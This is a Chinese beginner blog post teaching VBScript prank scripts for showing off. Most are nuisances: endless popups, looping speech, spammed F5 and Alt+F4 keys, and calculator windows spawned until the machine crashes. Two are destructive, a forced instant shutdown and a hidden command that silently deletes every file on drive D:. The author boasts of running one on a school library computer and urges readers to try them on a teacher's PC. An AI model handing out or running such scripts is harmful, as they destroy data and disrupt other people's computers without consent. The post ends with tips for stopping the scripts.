第一课 |
您所在的位置:网站首页 › 编程骂人代码简单 › 第一课 |
第一课——初级代码,VBS{装逼必备}
发表在 net 07-16 21:14:09 71 263319 137一,简介 VBS,Visual Basic Script的简称,是微软公司出品的脚本语言,。VBScript是asp动态网页默认的编程语言,配合asp内建对象和ADO对象,用户很快就能掌握访问数据库的asp动态网页开发技术。 二,简简介 就是一种WINDOUS自带的脚本语言,最好的好处就是无工具,无网络。就可以操作,进行“编程”。同样,运行者也不用下载相应的虚拟机。(如:Java虚拟机) 大大方便了各位去装逼。。嘿嘿。 三,装逼前提 这里,我就不秉承着善良的程序员态度跟大家对话了,而是个专业装逼户的角度。 毕竟如果细讲不亚于一个小语言。 1) 工具 :记事本(注意,是TXT结尾的那种) 2)环境 :文件夹可以显示后缀名 3)态度 :可以放松的来看。 四,开始装逼 1)新手教学 编写vbs有多简单?新建“文本文档”,输入msgbox "一大波病毒正在靠近..." ,点击文件->另存为->重命名为“代码.vbs”。文件名不重要,重要的是后缀要是“.vbs”。 2)互相伤害 一个骂;“你是250的代码”——还是循环骂人 Set s = CreateObject("sapi.spvoice") i=1 d=4 e=2 w=5 l=0 do s.speak i s.speak d s.speak e s.speak w s.speak l loop 一个不断刷新的代码,F5。。想打开任务管理器都难 set ws=createobject("wscript.shell") do ws.sendkeys "{f5}" loop 一个不断循环关闭现有程序的代码 dim WSHshell set WSHshell = wscript.createobject("wscript.shell") do wscript.sleep 2500 WSHshell.SendKeys "%{F4}" loop ————————————把上述代码整合一下。。。嘻嘻,装逼大法好。。。哈哈哈,也许老师的电脑可以小小搞搞。 3)装逼代码合计 ①、我就用这个程序放在学校图书馆查询书刊的机器上,好多人都那它没办法,哈哈 ------------------------------------------------------------------------------ do msgbox "You are foolish!" loop ------------------------------------------------------------------------------ ②、打开无数个计算器,直到死机 ------------------------------------------------------------------------------ set wsh=createobject("wscript.shell") do wsh.run "calc" loop ----------------------------------------------------------------------------- ③、直接关机 ----------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "shutdown -f -s -t 00",0 ,true ----------------------------------------------------------------------------- ④、删除D:\所有文件 --------------------------------------------------------------------------- dim WSHshell set WSHshell = wscript.createobject("wscript.shell") WSHshell.run "cmd /c ""del d:\*.* / f /q /s""",0 ,true ---------------------------------------------------------------------------- ⑤、不断弹出窗口 ---------------------------------------------------------------------------- 复制代码 代码如下: while(1) msgbox "哈哈 你被耍了!" loop ---------------------------------------------------------------------------- ⑥、按500次回车 (以上代码在运行者的电脑上显示500个对话框。其中 do until s=500 ,500可以随意更改) 复制代码 代码如下: dim s do until s=500 s=s+1 msgbox "哥们,给我按500次回车吧",64 loop ------------------------------------------------------------------------------------ ⑦、关不掉的窗口 复制代码 代码如下: WScript.Echo("嘿,谢谢你打开我哦,我等你很久拉!"&TSName) WScript.Echo("你是可爱的小朋吗?") WScript.Echo("哈,我想你拉,这你都不知道吗?") WScript.Echo("怎么才来,说~是不是不关心我") WScript.Echo("哼,我生气拉,等你这么久,心都凉啦。") WScript.Echo("小强很生气,后果很严重哦。") WScript.Echo("嘿嘿!你也会很惨滴哦") WScript.Echo("是不是想清除我?") WScript.Echo("那你要点上50下哦,不过会给你惊喜滴") WScript.Echo("还剩49下,快点点哦") WScript.Echo("还剩48下,快点,小笨蛋!") WScript.Echo("还剩47下对,就这样快点点!") WScript.Echo("还剩46下。你啊就是笨,要快哦,我先不打扰你工作。") WScript.Echo("还剩45下,记得要快哦!") WScript.Echo("还剩43下") WScript.Echo("还剩42下") WScript.Echo("还剩41下") WScript.Echo("还剩40下") WScript.Echo("还剩39下") WScript.Echo("还剩38下") WScript.Echo("还剩37下") WScript.Echo("还剩36下") WScript.Echo("还剩35下") WScript.Echo("还剩34下") WScript.Echo("还剩33下") WScript.Echo("还剩32下") WScript.Echo("还剩30下") WScript.Echo("还剩29下") WScript.Echo("还剩28下") WScript.Echo("还剩27下") WScript.Echo("还剩26下") WScript.Echo("还剩25下") WScript.Echo("还剩24下") WScript.Echo("还剩23下") WScript.Echo("还剩22下") WScript.Echo("还剩21下") WScript.Echo("还剩20下") WScript.Echo("还剩19下") WScript.Echo("还剩18下") WScript.Echo("还剩17下") WScript.Echo("还剩16下") WScript.Echo("还剩15下") WScript.Echo("还剩14下") WScript.Echo("还剩13下停停!!!慢点,我有话要说") WScript.Echo("还剩12下,你继续点我就会消失滴") WScript.Echo("还剩11下,以后就看不到我拉。555555") WScript.Echo("还剩10下,你现在可以选择停止!") WScript.Echo("还剩9下。你还点啊,不要我拉?") WScript.Echo("还剩8下,有点伤心拉,干嘛丢弃人家") WScript.Echo("还剩7下。疯了,你有点负意!") WScript.Echo("还剩6下。对。你就点吧,我恨你!") WScript.Echo("还剩5下,不明白,删除我你就好吗?") WScript.Echo("还剩4下!真要删除我?") WScript.Echo("还剩3下。可是我真的很眷恋你。。。") WScript.Echo("还剩2下。不要这么绝情嘛,人家是爱你的!") WScript.Echo("还剩1下。哼,既然你这么绝情。也别怪我无义!!!") WScript.Echo("我本因该消失的,不过我留恋你滴芳容,上帝又给了一次机会。") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") WScript.Echo("想结素我么?那你就再多点一次") 部分引用自百度文库 如果觉得本文好的话,可以加入我们net部落!!!真正大神经病坐镇!! 注意下方 有的小朋友遇到了,VBS软件无法结束的问题。解决方案如下: 方法一:ctrl+shift+esc打开任务管理器, 结束wscript.exe方法二:开始-运行-wscript //h:cscript-确定 转发留地址哟! 分享 赏 |
今日新闻 |
推荐新闻 |
CopyRight 2018-2019 办公设备维修网 版权所有 豫ICP备15022753号-3 |